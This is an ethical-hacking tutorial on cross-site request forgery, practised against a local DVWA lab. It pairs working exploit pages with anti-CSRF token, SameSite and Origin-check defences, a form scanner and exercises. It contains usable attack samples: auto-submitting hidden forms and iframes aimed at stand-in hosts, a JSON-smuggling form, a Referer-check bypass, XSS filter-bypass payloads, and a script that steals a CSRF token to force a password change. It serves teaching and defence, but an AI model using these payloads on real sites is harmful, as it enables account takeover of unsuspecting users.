Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
What will I learn
- What CSRF is and why it's fundamentally different from XSS;
- How browsers automatically attach cookies -- and why that's a problem;
- Exploiting CSRF on DVWA: forcing password changes and actions without user consent;
- Building CSRF exploit pages that trigger actions when visited;
- POST-based CSRF and JSON API CSRF via hidden forms and fetch requests;
- Token-based defenses: anti-CSRF tokens, SameSite cookies, referer validation;
- Why AI-generated code almost never includes CSRF protection.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (Kali + DVWA);
- Basic HTML and JavaScript knowledge;
- The ambition to learn ethical hacking and security research.
Difficulty
- Beginner
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves (this post)
Solutions to Episode 15 Exercises
Exercise 1 -- XSS at all DVWA security levels:
Low: <script>alert(1)</script> works directly.
Filter: NONE. Raw input reflected into HTML.
Medium: <script> tag stripped. Bypass: <img src=x onerror=alert(1)>
Filter: str_replace("", "", $input) -- only removes <script>.
Why bypass works: 50+ other HTML elements support event handlers.
High: regex strips <script> variations. Bypass: <img src=x onerror=alert(1)>
Filter: preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $input)
Why bypass works: regex only targets "script" -- doesn't know about
img, svg, body, input, details, marquee, etc.
Impossible: htmlspecialchars() applied to ALL output.
NO bypass -- encoding is the correct fix.
The key insight: each DVWA level shows a progressively "better" filter -- and each filter fails in the same fundamental way: blocklisting specific patterns instead of encoding output. Only the "Impossible" level (output encoding) is actually secure.
Exercise 2 -- XSS data exfiltration:
# Capture server logs all request details:
# Cookie: PHPSESSID=abc123; security=low
# Referer: http://target/dvwa/vulnerabilities/xss_s/
# User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...
# Total exfiltrated from a single stored XSS:
# - Session cookie (full account access)
# - Current page URL (reveals what victim was viewing)
# - Browser/OS information (aids in further targeting)
# - Referrer URL (shows navigation path)
# - Screen resolution and installed plugins (fingerprinting)
The key insight: a single XSS gives the attacker a window into the victim's browser context. Combined with social engineering, this information enables highly targeted follow-up attacks.
Exercise 3 -- Samy Worm analysis:
The Samy Worm exploited stored XSS in MySpace profiles.
MySpace filtered <script> but allowed CSS expressions
(Internet Explorer) and JavaScript in style attributes.
Samy used: <div style="background:url('javascript:...')">
It propagated by: when a user viewed an infected profile,
the JavaScript added Samy as a friend AND copied the worm
payload into the VIEWER's profile. Exponential growth.
1 million profiles in 20 hours. MySpace had to go offline.
Modern defenses that would prevent it:
- CSP (blocks inline scripts and style-based JS)
- HttpOnly cookies (can't steal sessions)
- DOM sanitization libraries (DOMPurify)
- Framework-level auto-escaping (React, Angular, Vue)
Learn Ethical Hacking (#16) - Cross-Site Request Forgery
We spent two episodes on XSS -- injecting code into browsers, stealing sessions, bypassing filters and CSP. XSS is about making the application run YOUR code in the victim's browser. CSRF is a completely different beast. With CSRF, you don't inject any code into the target application at all. You make the victim's browser send a perfectly legitimate-looking request to the target application, using the victim's own session. No injection. No stolen cookies. The browser does exactly what browsers are designed to do -- and that's the problem.
Hier we gaan.
The Browser's Fatal Generosity
Here's the fundamental issue: browsers automatically attach cookies to every request sent to a domain, regardless of WHERE that request originates. If you're logged into your bank at bank.com, and you visit evil.com, and evil.com includes an image tag pointing to bank.com/transfer?to=attacker&amount=10000 -- your browser happily sends that request to the bank, with your session cookie attached. The bank sees a valid session cookie, a valid request, and processes the transfer.
The attacker never sees your cookie. They don't need to. They just need your browser to send a request on your behalf. Remember from episode 11 (HTTP Deep Dive) how we said HTTP is stateless and cookies are the entire mechanism for maintaining identity? That design decision -- automatic cookie attachment -- is what makes CSRF possible. The browser can't distinguish "a request the user intended to make" from "a request triggered by visiting an attacker's page." They both carry the same cookies, the same headers, the same authentication.
Think about what this means. With XSS (episodes 14-15), the attacker needed a vulnerability IN the target application -- some input that wasn't properly encoded. With CSRF, the target application can be perfectly coded, zero vulnerabilities in its own codebase, and it's STILL exploitable. The vulnerability isn't in the application's code. It's in how HTTP and cookies fundamentaly work ;-)
Hands-On: CSRF on DVWA
Set DVWA security to Low. Navigate to the CSRF page. You'll see a simple password change form with two fields: "New password" and "Confirm new password".
Change your password normally and watch the URL bar. DVWA sends this as a GET request:
http://192.168.56.101/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change
All the parameters are right there in the URL. The password change is a GET request with no additional verification beyond the session cookie. No CSRF token, no password confirmation, no re-authentication. Just: are you logged in? Here's your new password.
Now create the exploit. On your Kali VM:
mkdir -p ~/csrf-lab
cat > ~/csrf-lab/evil.html << 'EOF'
<html>
<body>
<h1>You Won a Prize!</h1>
<p>Congratulations! Click here to claim your reward.</p>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change" width="1" height="1">
<p>Please wait while we process your reward...</p>
</body>
</html>
EOF
# Serve it on a different port
cd ~/csrf-lab && python3 -m http.server 9999
Now open a NEW browser tab (while still logged into DVWA in the other tab) and visit http://localhost:9999/evil.html. You see a page about winning a prize. Behind the scenes, the hidden 1x1 pixel <img> tag fired a request to DVWA's password change endpoint. Your browser attached the DVWA session cookie automatically. DVWA processed the request and changed your password to "pwned".
Try logging out and logging back in with your old password. It fails. The new password is "pwned". Your password was changed without you clicking any button, without you seeing any form, without you doing anything except visiting a page that had nothing to do with DVWA.
Dat is de hele aanval. Zo simpel is het.
Why This Is Different From XSS
People sometimes confuse CSRF with XSS because they both involve malicious web pages. But the attack model is fundamentally different:
XSS: The attacker injects code INTO the vulnerable application. The code runs in the context of the application. The attacker can read data, modify the DOM, steal cookies (if not HttpOnly), do anything JavaScript can do.
CSRF: The attacker tricks the browser into sending a request TO the vulnerable application. No code is injected into the application. The attacker can't read the response. They can only trigger state-changing actions (change password, transfer money, change email, delete account) -- blindly, without seeing what happened.
That "blindly" part is important. In a CSRF attack, the attacker's page makes a cross-origin request to bank.com. The same-origin policy prevents the attacker's JavaScript from reading the response from bank.com. So the attacker sends the request but can't see what the server returned. They don't know if it worked or failed. They're shooting blind. Having said that, for destructive actions (password changes, money transfers, account deletions) -- the damage is done whether or not the attacker sees the confirmation page.
POST-Based CSRF
The DVWA example used a GET request, which made it trivially exploitable via an <img> tag. But many state-changing operations use POST. That doesn't stop CSRF -- it just requires a hidden form instead of an image:
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form" method="POST"
action="http://target.com/change-email" style="display:none">
<input name="email" value="attacker@evil.com">
<input name="confirm" value="attacker@evil.com">
</form>
<h1>Loading your content...</h1>
</body>
</html>
The onload event fires as soon as the page loads, submitting the hidden form automatically. No user interaction. The POST request goes to target.com with the victim's cookies. The victim sees "Loading your content..." for a split second before being redirected to the target (because a form submission navigates the page).
For a stealthier version that doesn't navigate away, use an iframe:
<html>
<body>
<iframe name="csrf_frame" style="display:none"></iframe>
<form id="csrf_form" method="POST" target="csrf_frame"
action="http://target.com/change-email" style="display:none">
<input name="email" value="attacker@evil.com">
<input name="confirm" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf_form').submit();</script>
<h1>Nothing to see here ;-)</h1>
</body>
</html>
By setting the form's target to a hidden iframe, the submission happens silently. The victim's page doesn't navigate. They see "Nothing to see here" and move on, never knowing their email was just changed on target.com.
JSON API CSRF
Modern APIs often use Content-Type: application/json instead of form-encoded data. Can you CSRF those? It depends on the CORS configuration:
<script>
fetch('http://target.com/api/change-email', {
method: 'POST',
credentials: 'include', // sends cookies
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
</script>
This triggers a CORS preflight request -- the browser sends an OPTIONS request first, asking the server "is this cross-origin request allowed?" If the server responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, the browser proceeds with the actual request.
But here's the thing -- Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true can't actually be combined. The CORS spec forbids it. The origin must be specific (e.g., Access-Control-Allow-Origin: https://evil.com) for credentials to be included. So if the server echoes back the attacker's origin in the Access-Control-Allow-Origin header (which is a common misconfiguration), the attack works. If the server has a strict allowlist, it doesn't.
What about sending application/json as a "simple" request to avoid the preflight? That doesn't work either -- application/json is not in the list of CORS-safe content types (only application/x-www-form-urlencoded, multipart/form-data, and text/plain are). Any other Content-Type triggers a preflight.
However, some APIs don't actually validate the Content-Type header on the server side. If the API accepts form-encoded data even when it expects JSON, you can bypass the preflight entirely by submitting a regular HTML form. This is more common than you'd think -- many frameworks parse both JSON and form data automatically:
<form method="POST" action="http://target.com/api/change-email"
enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
This sends a POST with Content-Type text/plain (no preflight) and a body that looks like valid JSON. If the server parses it as JSON regardless of the Content-Type header -- congratulations, you just CSRF'd a JSON API with a plain HTML form. Prachtig.
Real-World CSRF Impact
CSRF has caused real damage in production:
ING Direct (banking): A CSRF vulnerability allowed attackers to open additional accounts and initiate transfers. The victim just had to visit a page while logged into their banking session. No credential theft, no code injection -- the browser did all the work.
Router admin panels: Home routers are notorious for CSRF. An attacker changes the victim's DNS server by CSRF'ing the router's admin panel (most people never change the default admin password, AND the router's web interface often has zero CSRF protection). Once DNS is compromised, the attacker can intercept, redirect, or modify all of the victim's internet traffic. We talked about DNS in episode 3 -- now you see how an attacker can compromise it without ever touching the router.
Netflix (2006): A CSRF vulnerability allowed attackers to change the email address on any Netflix account by having the victim visit a malicious page. Changed email means the attacker controls password resets. Account takeover via one page visit.
WordPress plugins: Dozens of WordPress plugins have had CSRF vulnerabilities that allowed attackers to create admin accounts, install malicious plugins, or modify site content. An admin visits a compromised page, and their WordPress site gets a new admin account they didn't create. We'll look at CMS-specific attacks in more detail later in the series.
DVWA at Higher Security Levels
At Medium security, DVWA adds a check: it compares the Referer header against the server name. The idea is that legitimate requests come from the DVWA page itself, so the Referer should contain the server hostname.
// DVWA Medium security CSRF check (simplified)
if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false)
This is bypassable. The check uses stripos -- it searches for the server name ANYWHERE in the Referer string. If the DVWA server's hostname is localhost, and the attacker hosts their exploit on a page at http://evil.com/localhost/attack.html, the Referer header contains "localhost" and the check passes:
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">
At High security, DVWA adds an anti-CSRF token. The password change form includes a hidden user_token field that must match the server's expected value. Since the attacker can't read the DVWA page (same-origin policy prevents cross-origin reads), they can't extract the token to include in their forged request.
This is the correct defense. The token is per-session, unpredictable, and verified on every state-changing request. We'll build this properly in the defense section.
Having said that, even token-based protection can be broken if there's an XSS vulnerability elsewhere on the same origin. XSS on page A can read the CSRF token from page B (same origin, no policy violation) and then forge a valid CSRF request. This is why XSS and CSRF are related even though they're different attacks -- XSS on the same domain bypasses CSRF protection entirely. Defense in depth means fixing BOTH.
The Three Defenses
1. Anti-CSRF tokens -- the primary defense:
import secrets
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
@app.route('/change-password', methods=['GET'])
def change_password_form():
token = secrets.token_hex(32)
session['csrf_token'] = token
return render_template_string('''
New password:
Change Password
''', token=token)
@app.route('/change-password', methods=['POST'])
def change_password():
submitted_token = request.form.get('csrf_token', '')
expected_token = session.get('csrf_token', '')
if not submitted_token or submitted_token != expected_token:
return "CSRF token invalid -- request rejected.", 403
# Token valid -- safe to process the password change
new_password = request.form.get('new_password')
# ... update password in database ...
return "Password changed successfully."
The token is random, unpredictable, and tied to the user's session. The attacker can craft a form that submits to /change-password, but they CAN'T include the correct csrf_token value because they don't know it. The same-origin policy prevents them from loading the form page and reading the token from the hidden field. Without the token, the server rejects the request.
Every major web framework has CSRF token support built in -- Django has it enabled by default ({% csrf_token %} in templates), Rails has protect_from_forgery, Express has the csurf middleware. The implementation is handled for you. You just have to not disable it (which, unfortunately, developers do when they get annoyed by 403 errors during development and then forget to re-enable it for production).
2. SameSite cookies -- the modern defense:
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
SameSite=Strict tells the browser: NEVER send this cookie with cross-site requests. Period. A form on evil.com submitting to bank.com won't include bank.com's session cookie. The request arrives at the bank with no session, so the server treats it as an unauthenticated request. CSRF defeated in one cookie attribute.
SameSite=Lax is a middle ground (and the default in modern Chrome and Firefox since 2020). Lax allows cookies on top-level GET navigations (clicking a link to bank.com still logs you in) but blocks them on POST requests, subresource requests (images, iframes), and form submissions from other origins. This stops most CSRF attacks while keeping the user experience intact -- you can still follow links to authenticated sites without having to log in every time.
# Setting SameSite in Flask
@app.after_request
def set_cookie_flags(response):
# Modify the session cookie to add SameSite
if 'Set-Cookie' in response.headers:
cookies = response.headers.getlist('Set-Cookie')
new_cookies = []
for cookie in cookies:
if 'SameSite' not in cookie:
cookie += '; SameSite=Strict'
new_cookies.append(cookie)
response.headers.pop('Set-Cookie')
for cookie in new_cookies:
response.headers.add('Set-Cookie', cookie)
return response
SameSite cookies are arguably the strongest CSRF defense available today because they work at the browser level -- the application doesn't need to do anything per-request (no tokens to generate, no tokens to validate). Set the attribute once and forget about it. The only limitation is legacy browser support, but as of 2026, every modern browser enforces SameSite.
3. Referer/Origin header validation:
ALLOWED_ORIGINS = ['https://myapp.com', 'https://www.myapp.com']
@app.before_request
def check_origin():
if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
origin = request.headers.get('Origin', '')
referer = request.headers.get('Referer', '')
if origin:
if origin not in ALLOWED_ORIGINS:
return "Invalid origin", 403
elif referer:
from urllib.parse import urlparse
ref_origin = f"{urlparse(referer).scheme}://{urlparse(referer).netloc}"
if ref_origin not in ALLOWED_ORIGINS:
return "Invalid referer", 403
else:
# No Origin AND no Referer -- reject to be safe
return "Missing origin header", 403
The Origin header is sent by the browser on cross-origin requests and tells the server where the request came from. A request from evil.com has Origin: https://evil.com, not Origin: https://myapp.com. The attacker can't spoof the Origin header -- the browser sets it, not the client-side JavaScript.
Having said that, Origin/Referer validation is the weakest of the three defenses. Privacy extensions can strip the Referer header. Some browsers don't send Origin on same-origin requests. HTTPS-to-HTTP redirects drop the Referer. If your validation rejects requests with MISSING headers, you'll break functionality for some legitimate users. If you ALLOW requests with missing headers, you create a bypass (the attacker uses <meta name="referrer" content="no-referrer"> to strip the header). It's a useful supplementary check but should never be the ONLY defense.
Building a CSRF Scanner
Here's a Python script that checks forms for CSRF protection:
#!/usr/bin/env python3
"""
CSRF vulnerability scanner -- checks forms for anti-CSRF tokens
and inspects response headers for SameSite cookie attributes.
LAB USE ONLY.
"""
import requests
import re
import sys
from urllib.parse import urlparse
CSRF_TOKEN_NAMES = [
'csrf', 'csrf_token', '_csrf', 'csrfmiddlewaretoken',
'token', '_token', 'nonce', 'authenticity_token',
'xsrf', '_xsrf', 'anti-csrf', '__RequestVerificationToken'
]
def check_samesite(response):
"""Check if response cookies have SameSite attribute."""
samesite_cookies = []
unprotected_cookies = []
for cookie_header in response.headers.getlist('Set-Cookie') if hasattr(response.headers, 'getlist') else []:
if 'samesite' in cookie_header.lower():
samesite_cookies.append(cookie_header.split('=')[0])
else:
unprotected_cookies.append(cookie_header.split('=')[0])
return samesite_cookies, unprotected_cookies
def find_forms(html):
"""Extract forms and their hidden inputs."""
forms = re.findall(r']*>(.*?)', html, re.DOTALL | re.IGNORECASE)
results = []
for form in forms:
hidden_inputs = re.findall(
r']*type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\']',
form, re.IGNORECASE
)
method = 'GET'
method_match = re.search(r'method=["\'](\w+)["\']', form, re.IGNORECASE)
if method_match:
method = method_match.group(1).upper()
results.append({'method': method, 'hidden_inputs': hidden_inputs})
return results
def scan_csrf(url, cookies=None):
"""Scan a URL for CSRF vulnerabilities."""
print(f"[*] Scanning: {url}")
try:
resp = requests.get(url, cookies=cookies, timeout=10)
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
return
forms = find_forms(resp.text)
print(f"[*] Found {len(forms)} form(s)")
for i, form in enumerate(forms):
print(f"\n Form #{i+1} ({form['method']}):")
has_token = False
for hidden in form['hidden_inputs']:
if any(name in hidden.lower() for name in CSRF_TOKEN_NAMES):
has_token = True
print(f" [+] CSRF token found: {hidden}")
if not has_token:
print(f" [-] NO CSRF token detected")
# Check SameSite on cookies
for header_name, header_val in resp.headers.items():
if header_name.lower() == 'set-cookie':
if 'samesite' in header_val.lower():
print(f" [+] SameSite cookie: {header_val[:50]}...")
else:
print(f" [-] Cookie WITHOUT SameSite: {header_val[:50]}...")
# Risk assessment
if not has_token:
print(f" [!] RISK: HIGH -- no CSRF token, state-changing form")
else:
print(f" [*] RISK: LOW -- CSRF token present")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [cookie_string]")
sys.exit(1)
cookies = {}
if len(sys.argv) > 2:
for part in sys.argv[2].split(';'):
if '=' in part:
k, v = part.strip().split('=', 1)
cookies[k] = v
scan_csrf(sys.argv[1], cookies or None)
Run it against DVWA:
python3 csrf_scanner.py "http://localhost/dvwa/vulnerabilities/csrf/" "PHPSESSID=abc123;security=low"
At Low security, it finds the form with no CSRF token -- HIGH risk. At High security, it finds the user_token hidden field -- LOW risk. This is the kind of tool that pentesters run as a first pass before manual testing.
The AI Slop Angle
CSRF protection is the thing AI code assistants forget most consistently (continuing our thread from episodes 6, 12, and 14):
- Flask routes without CSRF middleware -- the code handles form submissions and updates the database, everything "works", but there's zero CSRF protection
- Django views where someone disabled
CsrfViewMiddlewarebecause it was "causing 403 errors during development" and then shipped it to production - Express.js APIs that authenticate via cookies but never validate the Origin header or include CSRF tokens
- React forms that POST to backend APIs using
credentials: 'include'(sends cookies) without any CSRF token in the request
The pattern is identical to what we saw with SQL injection and XSS: the vulnerable code is functionally correct. Forms submit, data changes, passwords update, emails send. The CSRF vulnerability is completely invisible during development and testing because the developer IS the legitimate user -- their requests are always same-origin. The vulnerability only manifests when a different origin (the attacker's page) triggers the same request. And since nobody writes tests for "what happens when a malicious page submits this form," it ships to production unprotected.
I keep saying this because it keeps being true: AI-generated code optimizes for "does it work?" not "is it safe?" The CSRF-vulnerable version is shorter, simpler, and passes all functional tests. The secure version requires extra middleware, extra template tags, extra validation logic. The AI picks the shorter path every time because that's what gets upvoted on Stack Overflow and that's what fills its training data ;-)
CSRF + XSS: The Deadly Combination
One thing worth understanding before we move on: CSRF defenses are completely defeated by XSS on the same origin.
If an attacker finds an XSS vulnerability on bank.com, they can use that XSS to:
- Load the password change form (same origin -- no CORS restriction)
- Read the CSRF token from the hidden field
- Submit the form with the correct token
// XSS payload that bypasses CSRF token protection
fetch('/change-password')
.then(r => r.text())
.then(html => {
let token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
fetch('/change-password', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf_token=' + token + '&new_password=pwned'
});
});
The CSRF token means nothing when the attacker has JavaScript execution on the same origin. Same-origin policy -- the thing that prevents cross-origin CSRF token theft -- doesn't apply when the attacker's code is already running on the target origin via XSS. This is why we hammered output encoding so hard in episodes 14 and 15: XSS doesn't just steal cookies. It invalidates your CSRF defense, your SameSite cookies (the request IS same-site now), and basically every client-side security measure. Fix XSS first.
The State of CSRF in 2026
CSRF used to be a top-5 OWASP vulnerability. In 2021, OWASP removed it as a standalone category, merging it into "Security Misconfiguration." Not because CSRF went away, but because modern browser defaults (SameSite=Lax as default) and framework-level protections (Django, Rails, and Laravel all have CSRF protection enabled by default) have reduced its prevalence in well-maintained applications.
But "well-maintained" is doing a lot of heavy lifting in that sentence. Custom APIs without framework protection, legacy applications that predate SameSite cookies, single-page applications using cookie-based auth without CSRF tokens, and every application running on a browser that hasn't updated in years -- all stil vulnerable. CSRF isn't solved. It's just easier to prevent if you use modern tools correctly. And as we've been seeing throughout this series, "use modern tools correctly" is a bar that a shocking number of applications fail to clear.
The web attack surface keeps layering. SQL injection attacks the database. XSS attacks the browser. CSRF weaponizes the browser against the server. Each attack exploits a different trust boundary -- and they chain together in ways that make the whole greater than the sum of the parts. We'll keep peeling back these layers as the series continues.
Exercises
Exercise 1: Exploit the DVWA CSRF vulnerability at Low security. Create an HTML page that, when visited by a logged-in DVWA user, changes their password without any user interaction. Host it on a different port (python3 -m http.server 9999). Test the full chain: log into DVWA in one tab, visit your exploit page in another tab, then verify the password was changed. Then try the Medium security level -- examine the source code, identify the Referer check, and create a bypass exploit where the Referer header contains the server hostname. Document both attacks in ~/lab-notes/dvwa-csrf-attacks.md.
Exercise 2: Write a Python CSRF scanner (csrf_scanner.py) that takes a URL and session cookies, fetches the page, finds all <form> elements, and for each form: (a) checks for hidden inputs with names containing "token", "csrf", "_csrf", "nonce", or "authenticity_token", (b) checks the response headers for SameSite cookie attributes, (c) reports the CSRF risk level (High: no token + no SameSite, Medium: one protection present, Low: both protections present). Test it against DVWA at Low, Medium, and High security levels. Save the script as ~/pentest-tools/csrf_scanner.py.
Exercise 3: Build two versions of a Flask password-change application: one vulnerable and one protected. The vulnerable version should accept POST requests with no CSRF protection. The protected version should implement all three defenses: an anti-CSRF token in the form (using secrets.token_hex), SameSite=Strict on the session cookie, and Origin header validation. Then write a test script that serves an attack page and attempts CSRF against both versions -- proving the vulnerable version changes the password and the protected version returns 403. Save everything in ~/csrf-lab/.